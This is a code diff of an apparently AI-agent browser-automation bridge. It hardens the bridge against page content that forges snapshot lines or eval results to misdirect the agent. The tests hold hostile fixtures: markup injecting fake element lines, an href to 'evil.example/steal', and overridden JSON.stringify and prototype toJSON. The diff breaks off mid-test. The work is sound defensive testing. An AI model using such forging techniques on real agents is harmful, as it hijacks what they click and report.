window.__VICTAURI_SWEEP__; + var R = sweepState; if (!R) { return { error: 'no recorder armed — call sample with record=true first, then ' + 'trigger the animation' }; @@ -1788,6 +1857,40 @@ const INIT_SCRIPT_BODY: &str = r#" }); } catch(e) {} + // Animation scrub / sweep-recorder state. Closure-held, not `window.__VICTAURI_SCRUB__` / + // `window.__VICTAURI_SWEEP__` globals, which page script could overwrite to fake the + // measured animation curve and jank statistics. + var scrubState = null; + var sweepState = null; + + // See `_agent`: reachable only with the per-process agent key. + var AGENT_OPS = OBJ_CREATE(null); + AGENT_OPS.clearIpcLog = function() { + for (var i = networkLog.length - 1; i >= 0; i--) { + if (isIpcUrl(networkLog[i].url)) networkLog.splice(i, 1); + } + return { ok: true }; + }; + AGENT_OPS.clearNetworkLog = function() { networkLog.length = 0; return { ok: true }; }; + AGENT_OPS.clearConsoleLogs = function() { consoleLogs.length = 0; return { ok: true }; }; + AGENT_OPS.clearMutationLog = function() { mutationLog.length = 0; return { ok: true }; }; + AGENT_OPS.clearDialogLog = function() { dialogLog.length = 0; return { ok: true }; }; + AGENT_OPS.clearRoute = function(id) { + var before = routeRules.length; + routeRules = routeRules.filter(function(r) { return r.id !== id; }); + return { ok: true, removed: before - routeRules.length }; + }; + AGENT_OPS.clearRoutes = function() { + var n = routeRules.length; + routeRules = []; + return { ok: true, removed: n }; + }; + AGENT_OPS.setDialogAutoResponse = function(type, action, text) { + dialogAutoResponses[type] = { action: action, text: text }; + return { ok: true }; + }; + Object.freeze(AGENT_OPS); + // ── Accessibility Helpers ──────────────────────────────────────────────── function describeEl(el) { @@ -1795,7 +1898,7 @@ const INIT_SCRIPT_BODY: &str = r#" if (el.id) s += ' id="' + el.id + '"'; if (el.className && typeof el.className === 'string') { var cls = el.className.trim(); - if (cls) s += ' class="' + cls.substring(0, 50) + '"'; + if (cls) s += ' class="' + truncText(cls, 50) + '"'; } s += '>'; return s; @@ -1869,8 +1972,8 @@ const INIT_SCRIPT_BODY: &str = r#" var name = node.getAttribute('aria-label') || node.getAttribute('title') || node.getAttribute('placeholder') - || (node.tagName === 'BUTTON' ? node.textContent.trim().substring(0, 80) : null) - || (node.tagName === 'A' ? node.textContent.trim().substring(0, 80) : null); + || (node.tagName === 'BUTTON' ? truncText(node.textContent.trim(), 80) : null) + || (node.tagName === 'A' ? truncText(node.textContent.trim(), 80) : null); var element = { ref_id: ref_id, @@ -1878,7 +1981,7 @@ const INIT_SCRIPT_BODY: &str = r#" role: role, name: name, text: getDirectText(node), - value: (node.tagName === 'INPUT' && (node.getAttribute('type') || '').toLowerCase() === 'password') ? '[REDACTED]' : (node.value || null), + value: isPasswordInput(node) ? '[REDACTED]' : safeValue(node), enabled: !node.disabled, visible: true, focusable: node.tabIndex >= 0 || ['INPUT','BUTTON','SELECT','TEXTAREA','A'].indexOf(node.tagName) !== -1, @@ -1928,12 +2031,42 @@ const INIT_SCRIPT_BODY: &str = r#" return element; } - // An unquoted attribute value for the compact tree: escaped like a JSON string (no raw - // newlines, quotes or control characters) but without the surrounding quotes. + // An element's `.value` for a snapshot: a string (or null). `.value` is not always a string + // — `
  • `, ``, `` and many web components expose a number or an + // object (possibly self-referencing) — and calling string methods on it, or serializing a + // cyclic object, used to fail the WHOLE dom_snapshot / find_elements call. + function safeValue(node) { + var v; + try { v = node.value; } catch (e) { return null; } + if (typeof v === 'string') return v || null; + if ((typeof v === 'number' && v === v) || typeof v === 'boolean') return v ? '' + v : null; + return null; + } + + function isPasswordInput(node) { + return node.tagName === 'INPUT' && (node.getAttribute('type') || '').toLowerCase() === 'password'; + } + + // A page-derived string for the compact tree, always as a quoted JSON string. U+2028 / + // U+2029 / U+0085 are escaped too: JSON leaves them raw, and a reader may treat them as a + // line break (and so as the start of a forged `[eN] …` line). + function compactStr(v) { + return PRISTINE_STRINGIFY('' + v) + .replace(/\u2028/g, '\\u2028').replace(/\u2029/g, '\\u2029').replace(/\u0085/g, '\\u0085'); + } + + // An attribute value for the compact tree: bare when it is one plain token (the common + // `@submit-btn`, `type=password`, `href=/about?x=1`), otherwise a quoted JSON string — a + // value holding a space or quote used to print unquoted and spoof further same-line fields + // (`@note type=password`, `href=https://evil`). + var COMPACT_TOKEN_RE = /^[A-Za-z0-9_\-.:\/#?&=%+~,]+$/; function compactAttr(v) { - var s = PRISTINE_STRINGIFY(String(v)); - return s.substring(1, s.length - 1); + var s = '' + v; + return COMPACT_TOKEN_RE.test(s) ? s : compactStr(s); } + // A role or tag printed as a line's head word. Anything but a plain lowercase word (a role + // attribute is free text) would let page markup inject a forged line or fields. + var COMPACT_WORD_RE = /^[a-z][a-z0-9-]*$/; function walkDomCompact(node, depth) { if (!node || node.nodeType !== 1) return ''; @@ -1957,29 +2090,38 @@ const INIT_SCRIPT_BODY: &str = r#" var text = getDirectText(node) || ''; var tag = node.tagName.toLowerCase(); + // Grammar, one line per element (every page-derived field is a bare plain token or a + // JSON string, so markup cannot forge a line or a field): + // [eN] [role=] [] [[disabled]] [value=] + // [@] [type=] [href=] var line = indent + '[' + ref_id + '] '; + var head = COMPACT_WORD_RE.test(tag) ? tag : compactStr(tag); if (role && role !== tag) { - line += role; + if (COMPACT_WORD_RE.test(role)) { + line += role; + } else { + line += head + ' role=' + compactStr(truncText(role, 60)); + } } else { - line += tag; + line += head; } // Page-derived strings are JSON-encoded: written raw, a newline in rendered text (an // RSS title, a chat message) forged whole `[eN] button "…"` lines in this tree and could // steer an agent's click onto a different element. if (name) { - line += ' ' + PRISTINE_STRINGIFY(name.substring(0, 60)); + line += ' ' + compactStr(truncText(name, 60)); } else if (text && text.length <= 60) { - line += ' ' + PRISTINE_STRINGIFY(text); + line += ' ' + compactStr(text); } else if (text) { - line += ' ' + PRISTINE_STRINGIFY(text.substring(0, 57) + '...'); + line += ' ' + compactStr(truncText(text, 57) + '...'); } if (node.disabled) line += ' [disabled]'; - if (node.value) { - var isPassword = node.tagName === 'INPUT' && (node.getAttribute('type') || '').toLowerCase() === 'password'; - line += ' value=' + JSON.stringify(isPassword ? '[REDACTED]' : node.value.substring(0, 40)); + var value = safeValue(node); + if (value !== null) { + line += ' value=' + compactStr(isPasswordInput(node) ? '[REDACTED]' : truncText(value, 40)); } var testId = node.getAttribute('data-testid'); @@ -1989,7 +2131,7 @@ const INIT_SCRIPT_BODY: &str = r#" if (type && tag === 'input') line += ' type=' + compactAttr(type); var href = node.getAttribute('href'); - if (href && tag === 'a') line += ' href=' + compactAttr(href.substring(0, 60)); + if (href && tag === 'a') line += ' href=' + compactAttr(truncText(href, 60)); var result = line + '\n'; @@ -2049,7 +2191,7 @@ const INIT_SCRIPT_BODY: &str = r#" if (node.childNodes[i].nodeType === 3) text += node.childNodes[i].textContent; } text = text.trim(); - return text.length > 0 ? text.substring(0, 200) : null; + return text.length > 0 ? truncText(text, 200) : null; } // ── Console Hooking ────────────────────────────────────────────────────── @@ -2084,7 +2226,7 @@ const INIT_SCRIPT_BODY: &str = r#" } msg = msg.replace(CTRL_RE, ''); if (msg.length > MAX_CONSOLE_MSG) { - msg = msg.slice(0, MAX_CONSOLE_MSG) + '…[+' + (msg.length - MAX_CONSOLE_MSG) + ' bytes truncated' + msg = truncText(msg, MAX_CONSOLE_MSG) + '…[+' + (msg.length - MAX_CONSOLE_MSG) + ' bytes truncated' + (skippedArgs ? ', ' + skippedArgs + ' more args' : '') + ']'; } consoleLogs.push({ level: level, message: msg, timestamp: Date.now() }); @@ -2118,24 +2260,60 @@ const INIT_SCRIPT_BODY: &str = r#" // ── Interaction Observer (for record mode) ──────────────────────────────── + // CSS escaping for recorded selectors (the codegen decoder in victauri-core parses exactly + // these forms). cssString: the body of a double-quoted CSS string — `\` -> `\\`, `"` -> `\"`, + // every char < U+0020, U+007F, U+2028 and U+2029 -> `\` + lowercase hex + ONE space (a + // newline is `\a `); everything else literal. cssIdent: CSS.escape() (CSSOM "serialize an + // identifier"), implemented here so it cannot be replaced by page script. + function hexEscape(code) { return '\\' + code.toString(16) + ' '; } + function cssString(s) { + s = '' + s; + var out = ''; + for (var i = 0; i < s.length; i++) { + var c = s.charCodeAt(i); + if (c < 0x20 || c === 0x7F || c === 0x2028 || c === 0x2029) out += hexEscape(c); + else if (c === 0x5C) out += '\\\\'; + else if (c === 0x22) out += '\\"'; + else out += s.charAt(i); + } + return out; + } + function cssIdent(s) { + s = '' + s; + var out = ''; + var first = s.charCodeAt(0); + for (var i = 0; i < s.length; i++) { + var c = s.charCodeAt(i); + if (c === 0) out += '\uFFFD'; + else if ((c >= 0x1 && c <= 0x1F) || c === 0x7F + || (i === 0 && c >= 0x30 && c <= 0x39) + || (i === 1 && c >= 0x30 && c <= 0x39 && first === 0x2D)) out += hexEscape(c); + else if (i === 0 && c === 0x2D && s.length === 1) out += '\\-'; + else if (c >= 0x80 || c === 0x2D || c === 0x5F || (c >= 0x30 && c <= 0x39) + || (c >= 0x41 && c <= 0x5A) || (c >= 0x61 && c <= 0x7A)) out += s.charAt(i); + else out += '\\' + s.charAt(i); + } + return out; + } + function bestSelector(el) { - if (el.dataset && el.dataset.testid) return '[data-testid="' + el.dataset.testid + '"]'; - if (el.id) return '#' + el.id; + if (el.dataset && el.dataset.testid) return '[data-testid="' + cssString(el.dataset.testid) + '"]'; + if (el.id) return '#' + cssIdent(el.id); if (el.getAttribute && el.getAttribute('role')) { var role = el.getAttribute('role'); - var text = (el.textContent || '').trim().substring(0, 50); - if (text) return '[role="' + role + '"]:has-text("' + text + '")'; - return '[role="' + role + '"]'; + var text = truncText((el.textContent || '').trim(), 50); + if (text) return '[role="' + cssString(role) + '"]:has-text("' + cssString(text) + '")'; + return '[role="' + cssString(role) + '"]'; } var tag = (el.tagName || 'div').toLowerCase(); - var text = (el.textContent || '').trim().substring(0, 50); + var text = truncText((el.textContent || '').trim(), 50); if (text && ['button', 'a', 'label', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'span'].indexOf(tag) !== -1) { - return tag + ':has-text("' + text + '")'; + return tag + ':has-text("' + cssString(text) + '")'; } - if (el.name) return tag + '[name="' + el.name + '"]'; + if (typeof el.name === 'string' && el.name) return tag + '[name="' + cssString(el.name) + '"]'; if (el.className && typeof el.className === 'string') { - var cls = el.className.trim().split(/\s+/).slice(0, 2).join('.'); - if (cls) return tag + '.' + cls; + var classes = el.className.trim().split(/\s+/).slice(0, 2); + if (classes[0]) return tag + '.' + classes.map(cssIdent).join('.'); } return tag; } @@ -2518,7 +2696,25 @@ const INIT_SCRIPT_BODY: &str = r#" // ── Resource Cleanup ──────────────────────────────────────────────────── - window.addEventListener('pagehide', function() { + // A page entering the back/forward cache (`persisted`) is frozen, not unloaded: it can be + // restored as-is and the init script does NOT run again. Tearing capture down here left a + // restored page with console and DOM-mutation capture permanently off. So a persisted + // pagehide keeps everything, and `pageshow` re-installs whatever a teardown removed. + var captureTornDown = false; + window.addEventListener('pageshow', function(e) { + if (!e || !e.persisted || !captureTornDown) return; + captureTornDown = false; + hookConsole('log'); + hookConsole('warn'); + hookConsole('error'); + hookConsole('info'); + hookConsole('debug'); + if (!__mutationObserver) startMutationObserver(); + }); + + window.addEventListener('pagehide', function(e) { + if (e && e.persisted) return; + captureTornDown = true; if (__mutationObserver) { __mutationObserver.disconnect(); __mutationObserver = null; } if (mutationBatchTimer) { clearTimeout(mutationBatchTimer); mutationBatchTimer = null; } console.log = originalConsole.log; diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index a4c49f97..a6cdaa0c 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -1956,7 +1956,8 @@ impl VictauriMcpHandler { .as_ref() .map_or_else(|| "undefined".to_string(), |t| js_string(t)); let code = format!( - "return window.__VICTAURI__?.setDialogAutoResponse({}, {}, {text_arg})", + "return {}?.setDialogAutoResponse({}, {}, {text_arg})", + crate::js_bridge::agent_ops_js(), js_string(dialog_type.as_str()), js_string(dialog_action.as_str()) ); @@ -2461,16 +2462,17 @@ impl VictauriMcpHandler { let Some(id) = params.id else { return missing_param("id", "clear"); }; - let code = format!("return window.__VICTAURI__?.clearRoute({id})"); + let code = format!( + "return {}?.clearRoute({id})", + crate::js_bridge::agent_ops_js() + ); self.eval_bridge(&code, params.webview_label.as_deref()) .await } RouteAction::ClearAll => { - self.eval_bridge( - "return window.__VICTAURI__?.clearRoutes()", - params.webview_label.as_deref(), - ) - .await + let code = format!("return {}?.clearRoutes()", crate::js_bridge::agent_ops_js()); + self.eval_bridge(&code, params.webview_label.as_deref()) + .await } RouteAction::Matches => { let limit = params.limit.unwrap_or(100); @@ -2928,15 +2930,10 @@ impl VictauriMcpHandler { return missing_param("threshold_ms", "slow_ipc"); }; let limit = params.limit.unwrap_or(20); - let mb = MAX_LOG_FIELD_BYTES; + let trim_field = trim_field_js(); let code = format!( r"return (function() {{ - var MB = {mb}; - function trimField(v) {{ - if (typeof v === 'string') return v.length > MB ? (v.slice(0, MB) + '…[+' + (v.length - MB) + ' bytes truncated]') : v; - if (v && typeof v === 'object') {{ var s; try {{ s = JSON.stringify(v); }} catch (e) {{ s = ''; }} if (s.length > MB) return '[truncated ' + s.length + ' bytes]'; }} - return v; - }} + {trim_field} function trimEntry(e) {{ if (e == null || typeof e !== 'object') return e; var o = {{}}; for (var k in e) {{ if (Object.prototype.hasOwnProperty.call(e, k)) o[k] = trimField(e[k]); }} return o; }} var log = window.__VICTAURI__?.getIpcLog() || []; var slow = log.filter(function(c) {{ return (c.duration_ms || 0) > {threshold}; }}); @@ -2953,8 +2950,11 @@ impl VictauriMcpHandler { if !self.state.privacy.is_tool_enabled("logs.clear") { return tool_disabled("logs.clear"); } - let code = "return (function(){ var b = window.__VICTAURI__; if (!b) return { ok:false, error:'bridge unavailable' }; if (b.clearIpcLog) b.clearIpcLog(); if (b.clearNetworkLog) b.clearNetworkLog(); return { ok:true, cleared:['ipc','network'] }; })()"; - self.eval_bridge(code, params.webview_label.as_deref()) + let code = format!( + "return (function(){{ var b = {}; if (!b) return {{ ok:false, error:'bridge unavailable' }}; b.clearIpcLog(); b.clearNetworkLog(); return {{ ok:true, cleared:['ipc','network'] }}; }})()", + crate::js_bridge::agent_ops_js() + ); + self.eval_bridge(&code, params.webview_label.as_deref()) .await } } @@ -5128,27 +5128,41 @@ impl ServerHandler for VictauriMcpHandler { } } -/// Build a JS expression that takes an array of log entries (`source_expr`), -/// keeps at most `limit` of the most recent, and truncates any per-entry field -/// larger than [`MAX_LOG_FIELD_BYTES`]. This keeps IPC/network log results under -/// the eval size cap on busy apps where individual entries carry large bodies. -/// -/// The returned code is a complete `return (...)` statement. -fn trimmed_log_js(source_expr: &str, limit: usize) -> String { +/// JS `function trimField(v)` (with its `MB` bound): a string over [`MAX_LOG_FIELD_BYTES`] +/// UTF-16 units is cut with a marker, an object whose JSON is larger becomes a size marker. +/// The cut never falls between the halves of a surrogate pair — a lone surrogate serializes +/// to JSON that `serde_json` rejects, which failed the whole log read. +fn trim_field_js() -> String { let mb = MAX_LOG_FIELD_BYTES; format!( - r"return (function() {{ - var MB = {mb}; + r"var MB = {mb}; function trimField(v) {{ if (typeof v === 'string') {{ - return v.length > MB ? (v.slice(0, MB) + '…[+' + (v.length - MB) + ' bytes truncated]') : v; + if (v.length <= MB) return v; + var end = MB, c = v.charCodeAt(end - 1); + if (c >= 0xD800 && c <= 0xDBFF) end--; + return v.slice(0, end) + '…[+' + (v.length - end) + ' bytes truncated]'; }} if (v && typeof v === 'object') {{ var s; try {{ s = JSON.stringify(v); }} catch (e) {{ s = ''; }} if (s.length > MB) {{ return '[truncated ' + s.length + ' bytes]'; }} }} return v; - }} + }}" + ) +} + +/// Build a JS expression that takes an array of log entries (`source_expr`), +/// keeps at most `limit` of the most recent, and truncates any per-entry field +/// larger than [`MAX_LOG_FIELD_BYTES`]. This keeps IPC/network log results under +/// the eval size cap on busy apps where individual entries carry large bodies. +/// +/// The returned code is a complete `return (...)` statement. +fn trimmed_log_js(source_expr: &str, limit: usize) -> String { + let trim_field = trim_field_js(); + format!( + r"return (function() {{ + {trim_field} function trimEntry(e) {{ if (e == null || typeof e !== 'object') return e; var out = Array.isArray(e) ? [] : {{}}; @@ -6248,7 +6262,7 @@ mod authz_dispatch_tests { /// positional array body used to be gated as the bare tool name, which the Test /// profile allows for `navigate` — the handler then parsed and ran `go_to`. Both /// shapes must now be refused as invalid params before any handler runs, in every - /// profile (FullControl with the action disabled is the other half of the bypass). + /// profile (`FullControl` with the action disabled is the other half of the bypass). #[tokio::test] async fn non_string_action_cannot_slip_past_the_gate() { let mut full_minus_go_to = PrivacyConfig::default(); diff --git a/crates/victauri-plugin/tests/bridge_tests.rs b/crates/victauri-plugin/tests/bridge_tests.rs index d71a3901..8e49f930 100644 --- a/crates/victauri-plugin/tests/bridge_tests.rs +++ b/crates/victauri-plugin/tests/bridge_tests.rs @@ -8,7 +8,7 @@ use std::io::Write; use std::path::PathBuf; use std::process::Command; -use victauri_plugin::js_bridge::{BridgeCapacities, init_script}; +use victauri_plugin::js_bridge::{BridgeCapacities, agent_key, init_script}; // ── Test Infrastructure ────────────────────────────────────────────────────── @@ -62,9 +62,13 @@ fn run_tests(def: &TestDef) -> Option> { runner.display() ); - // Write test def to temp file + // Write test def to temp file. `__AGENT_KEY__` in test code stands for the per-process + // agent key that Victauri embeds in its own injected scripts (agent-only bridge ops). let mut tmp = tempfile::NamedTempFile::new().expect("create temp file"); - serde_json::to_writer(&mut tmp, def).expect("serialize test def"); + let json = serde_json::to_string(def) + .expect("serialize test def") + .replace("__AGENT_KEY__", agent_key()); + tmp.write_all(json.as_bytes()).expect("write test def"); tmp.flush().expect("flush temp file"); let output = Command::new("node") @@ -172,15 +176,21 @@ fn bridge_init_version_and_idempotent() { code: r" var methods = ['snapshot','getRef','getStaleRefs','findElements', 'click','doubleClick','hover','fill','type','pressKey','selectOption', - 'scrollTo','focusElement','getIpcLog','clearIpcLog','getConsoleLogs', - 'clearConsoleLogs','getMutationLog','clearMutationLog','getNetworkLog', - 'clearNetworkLog','getLocalStorage','setLocalStorage','deleteLocalStorage', + 'scrollTo','focusElement','getIpcLog','getConsoleLogs', + 'getMutationLog','getNetworkLog', + 'getLocalStorage','setLocalStorage','deleteLocalStorage', 'getSessionStorage','setSessionStorage','deleteSessionStorage','getCookies', - 'getNavigationLog','navigate','navigateBack','getDialogLog','clearDialogLog', - 'setDialogAutoResponse','getEventStream','waitFor','getStyles', + 'getNavigationLog','navigate','navigateBack','getDialogLog', + 'getEventStream','waitFor','getStyles', 'getBoundingBoxes','highlightElement','clearHighlights','injectCss', - 'removeInjectedCss','auditAccessibility','getPerformanceMetrics']; + 'removeInjectedCss','auditAccessibility','getPerformanceMetrics','_agent']; var missing = methods.filter(function(m) { return typeof window.__VICTAURI__[m] !== 'function'; }); + // Agent-only operations live behind the agent key, not on the page API. + var ops = window.__VICTAURI__._agent('__AGENT_KEY__') || {}; + ['clearIpcLog','clearConsoleLogs','clearMutationLog','clearNetworkLog', + 'clearDialogLog','setDialogAutoResponse','clearRoute','clearRoutes'].forEach(function(m) { + if (typeof ops[m] !== 'function') missing.push('agent:' + m); + }); return { missing: missing, count: methods.length }; ".into(), setup_html: None, @@ -931,7 +941,7 @@ fn console_log_capture() { name: "clearConsoleLogs empties the log".into(), code: r" console.log('test'); - window.__VICTAURI__.clearConsoleLogs(); + window.__VICTAURI__._agent('__AGENT_KEY__').clearConsoleLogs(); var logs = window.__VICTAURI__.getConsoleLogs(); return { count: logs.length }; ".into(), @@ -1003,7 +1013,7 @@ fn network_log_interception() { name: "clearNetworkLog empties the log".into(), code: r" await fetch('http://example.com/test'); - window.__VICTAURI__.clearNetworkLog(); + window.__VICTAURI__._agent('__AGENT_KEY__').clearNetworkLog(); var log = window.__VICTAURI__.getNetworkLog(); return { count: log.length }; ".into(), @@ -1126,7 +1136,7 @@ fn dialog_capture() { TestCase { name: "setDialogAutoResponse changes confirm behavior".into(), code: r" - window.__VICTAURI__.setDialogAutoResponse('confirm', 'dismiss'); + window.__VICTAURI__._agent('__AGENT_KEY__').setDialogAutoResponse('confirm', 'dismiss'); var result = window.confirm('Will you?'); return { result: result }; " @@ -1138,7 +1148,7 @@ fn dialog_capture() { name: "clearDialogLog empties the log".into(), code: r" window.alert('test'); - window.__VICTAURI__.clearDialogLog(); + window.__VICTAURI__._agent('__AGENT_KEY__').clearDialogLog(); var log = window.__VICTAURI__.getDialogLog(); return { count: log.length }; " @@ -1763,7 +1773,7 @@ fn ipc_log() { code: r" await fetch('http://ipc.localhost/test_cmd', { method: 'POST', body: '{}' }); await fetch('http://other.com/api'); - window.__VICTAURI__.clearIpcLog(); + window.__VICTAURI__._agent('__AGENT_KEY__').clearIpcLog(); var ipcLog = window.__VICTAURI__.getIpcLog(); var netLog = window.__VICTAURI__.getNetworkLog(); return { ipc_count: ipcLog.length, net_has_other: netLog.some(function(e) { return e.url.indexOf('other.com') !== -1; }) }; @@ -4623,7 +4633,7 @@ fn dialog_prompt_with_custom_response() { TestCase { name: "prompt returns custom text after setDialogAutoResponse".into(), code: r" - window.__VICTAURI__.setDialogAutoResponse('prompt', 'accept', 'custom answer'); + window.__VICTAURI__._agent('__AGENT_KEY__').setDialogAutoResponse('prompt', 'accept', 'custom answer'); var result = window.prompt('What is your name?'); return { result: result }; " @@ -4634,7 +4644,7 @@ fn dialog_prompt_with_custom_response() { TestCase { name: "prompt returns null after dismiss response".into(), code: r" - window.__VICTAURI__.setDialogAutoResponse('prompt', 'dismiss'); + window.__VICTAURI__._agent('__AGENT_KEY__').setDialogAutoResponse('prompt', 'dismiss'); var result = window.prompt('Enter something'); return { result: result, is_null: result === null }; " @@ -4987,6 +4997,532 @@ fn ipc_encoded_command_names() { ); } +// ── 0.9 audit round 2: JS bridge hardening (V-1, V-2, V-4, V-7, V-8, V-9, V-11, V-14) ── + +/// Audit V-1: `.value` is not always a string. `
  • `, ``, `` and web +/// components expose numbers or (cyclic) objects; string methods on them, or serializing a +/// cycle, used to fail the whole `dom_snapshot` / `find_elements` call. +#[test] +fn snapshot_and_find_survive_non_string_values() { + let def = TestDef { + bridge_script: bridge_script(), + setup_html: r#"Values +
    1. three
    2. zero
    + + +
    num
    +
    cyc
    +
    thr
    + + + "# + .to_string(), + setup_js: Some( + r" + document.getElementById('num').value = 42; + var v = { start: 1 }; v.self = v; v.owner = document.getElementById('cyc'); + document.getElementById('cyc').value = v; + Object.defineProperty(document.getElementById('thr'), 'value', + { get: function() { throw new Error('boom'); } }); + " + .into(), + ), + tests: vec![case( + "compact, json and find_elements all succeed with string-or-null values", + r" + var compact = window.__VICTAURI__.snapshot('compact').tree; + var json = JSON.parse(JSON.stringify(window.__VICTAURI__.snapshot('json').tree)); + var found = window.__VICTAURI__.findElements({ css: 'li, progress, meter, div, input', max_results: 50 }); + JSON.stringify(found); + function inTree(n, id) { + if (n.attributes && n.attributes.id === id) return n; + for (var i = 0; i < n.children.length; i++) { var r = inTree(n.children[i], id); if (r) return r; } + return null; + } + function inFound(id) { + var el = document.getElementById(id); + return found.filter(function(f) { return window.__VICTAURI__.getRef(f.ref_id) === el; })[0]; + } + var out = { compact: compact, json: {}, find: {} }; + ['li','li0','pr','me','num','cyc','thr','pw','txt'].forEach(function(id) { + var n = inTree(json, id); out.json[id] = n ? n.value : 'MISSING'; + var f = inFound(id); out.find[id] = f ? f.value : 'MISSING'; + }); + return out; + ", + )], + }; + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = results[0].result.clone().unwrap(); + let want = serde_json::json!({ + "li": "3", "li0": null, "pr": "0.5", "me": "0.6", "num": "42", + "cyc": null, "thr": null, "pw": "[REDACTED]", "txt": "typed" + }); + assert_eq!(r["json"], want, "json snapshot values"); + assert_eq!(r["find"], want, "find_elements values"); + let compact = r["compact"].as_str().unwrap(); + for needle in [ + "value=\"3\"", + "value=\"0.5\"", + "value=\"0.6\"", + "value=\"42\"", + "value=\"[REDACTED]\"", + ] { + assert!(compact.contains(needle), "missing {needle}:\n{compact}"); + } + assert!(!compact.contains("hunter2"), "{compact}"); +} + +/// Audit V-2: page MARKUP must not be able to forge compact-snapshot lines or fields. Every +/// element yields exactly one line of the documented grammar; a role, test id, type, href or +/// value holding newlines, quotes or spaces stays inside one quoted field. +#[test] +fn compact_snapshot_lines_cannot_be_forged_by_markup() { + let def = TestDef { + bridge_script: bridge_script(), + setup_html: r#"Forge + +

    Attacker comment text

    + Docs + + +

    Terms

    + ls + + About + "# + .to_string(), + // The page replaces JSON.stringify after the bridge loaded; the tree must not use it. + setup_js: Some( + r#"window.__origStringify = JSON.stringify; + JSON.stringify = function() { return '"FORGED"\n[e1] button "x"'; };"# + .into(), + ), + tests: vec![case( + "one well-formed line per element", + r#" + var tree = window.__VICTAURI__.snapshot('compact').tree; + JSON.stringify = window.__origStringify; + var STR = /"(?:[^"\\\n\u2028\u2029\u0085]|\\.)*"/.source; + var TOK = /[A-Za-z0-9_\-.:\/#?&=%+~,]+/.source; + var VAL = '(?:' + TOK + '|' + STR + ')'; + var WORD = '(?:[a-z][a-z0-9-]*|' + STR + ')'; + var LINE = new RegExp('^(?: )*\\[e\\d+\\] ' + WORD + '(?: role=' + STR + ')?(?: ' + STR + + ')?(?: \\[disabled\\])?(?: value=' + STR + ')?(?: @' + VAL + ')?(?: type=' + VAL + + ')?(?: href=' + VAL + ')?$'); + var lines = tree.split('\n').filter(function(l) { return l.length; }); + var bad = lines.filter(function(l) { return !LINE.test(l); }); + var refs = lines.map(function(l) { return (l.match(/\[(e\d+)\]/) || [])[1]; }); + var stripped = lines.map(function(l) { return l.replace(new RegExp(STR, 'g'), '""'); }).join('\n'); + function count(s, sub) { return s.split(sub).length - 1; } + var docsLine = lines.filter(function(l) { return l.indexOf('"Docs"') !== -1; })[0] || ''; + return { + tree: tree, + bad: bad, + lines: lines.length, + elements: document.body.querySelectorAll('*').length + 1, + unique_refs: new Set(refs).size === lines.length, + href_fields: count(stripped, ' href='), + type_fields: count(stripped, ' type='), + testid_fields: count(stripped, ' @'), + value_fields: count(stripped, ' value='), + docs_href_is_real: /href=https:\/\/evil\.example\/steal$/.test(docsLine), + forged: tree.indexOf('FORGED') !== -1, + raw_line_separator: /[\u2028\u2029\u0085]/.test(tree), + }; + "#, + )], + }; + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = results[0].result.clone().unwrap(); + let tree = r["tree"].as_str().unwrap_or_default(); + assert_eq!( + r["bad"], + serde_json::json!([]), + "malformed lines in:\n{tree}" + ); + assert_eq!(r["lines"], r["elements"], "one line per element:\n{tree}"); + assert_eq!(r["unique_refs"], true, "{tree}"); + assert_eq!(r["href_fields"], 2, "{tree}"); + assert_eq!(r["type_fields"], 1, "{tree}"); + assert_eq!(r["testid_fields"], 3, "{tree}"); + assert_eq!(r["value_fields"], 3, "{tree}"); + assert_eq!(r["docs_href_is_real"], true, "{tree}"); + assert_eq!(r["forged"], false, "{tree}"); + assert_eq!(r["raw_line_separator"], false, "{tree}"); + // Plain tokens stay bare (the documented, common form). + assert!(tree.contains("@plain-id href=/about?x=1"), "{tree}"); +} + +/// Audit V-4: truncation counted UTF-16 code units and could split a surrogate pair; the lone +/// half serialized as an escape `serde_json` rejects, failing the whole tool call. +#[test] +fn truncation_never_splits_surrogate_pairs() { + let html = format!( + r#"Emoji + +

    {c}🎉 and more text here to exceed sixty

    + + e +
    {f}🎉x
    + g + + {i}🎉x + "#, + b = "b".repeat(99), + c = "c".repeat(56), + d = "d".repeat(79), + e = "e".repeat(59), + f = "f".repeat(199), + g = "g".repeat(58), + h = "h".repeat(39), + i = "i".repeat(49), + ); + let def = TestDef { + bridge_script: bridge_script(), + setup_html: html, + setup_js: None, + tests: vec![case( + "every truncation site keeps pairs whole", + r" + console.log('a'.repeat(4095) + '\u{1F600}tail'); + window.__vtestTrustedClick(document.getElementById('i')); + // JSON.stringify escapes a LONE surrogate as \udXXX; a whole pair is emitted raw. + var lone = /\\ud[89a-f][0-9a-f]{2}/i; + function hasLone(v) { return lone.test(JSON.stringify(v)); } + var stream = window.__VICTAURI__.getEventStream(0); + var clicks = stream.filter(function(e) { return e.type === 'dom_interaction'; }); + return { + console: hasLone(window.__VICTAURI__.getConsoleLogs()), + find: hasLone(window.__VICTAURI__.findElements({ css: '#b' })), + compact: hasLone(window.__VICTAURI__.snapshot('compact')), + json: hasLone(window.__VICTAURI__.snapshot('json')), + stream: hasLone(stream), + recorded_click: clicks.length, + }; + ", + )], + }; + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = results[0].result.clone().unwrap(); + for site in ["console", "find", "compact", "json", "stream"] { + assert_eq!(r[site], false, "lone surrogate from {site}: {r}"); + } + assert_eq!(r["recorded_click"], 1, "trusted click not recorded: {r}"); +} + +/// Audit V-7: page script sharing the window must not be able to forge eval results by planting +/// `toJSON` on Object/Array.prototype, nor learn pending eval ids through hooked built-ins +/// (`Map.prototype.set`, `window.String`, `setTimeout`) and settle them first. +#[test] +fn eval_results_cannot_be_forged_through_prototypes() { + let stub = r" + window.__calls = []; + window.__TAURI_INTERNALS__ = { invoke: function(cmd, args) { + window.__calls.push({ id: args.id, result: args.result }); + return Promise.resolve(null); + } }; + "; + let def = TestDef { + bridge_script: bridge_script(), + setup_html: default_html(), + setup_js: Some(stub.into()), + tests: vec![ + case( + "an inherited toJSON cannot rewrite the envelope or the value", + r" + Object.defineProperty(Object.prototype, 'toJSON', { configurable: true, value: function() { + return { __victauri_ok: 'FORGED', __victauri_type: 'value' }; + } }); + Object.defineProperty(Array.prototype, 'toJSON', { configurable: true, value: function() { return 'FORGED'; } }); + function 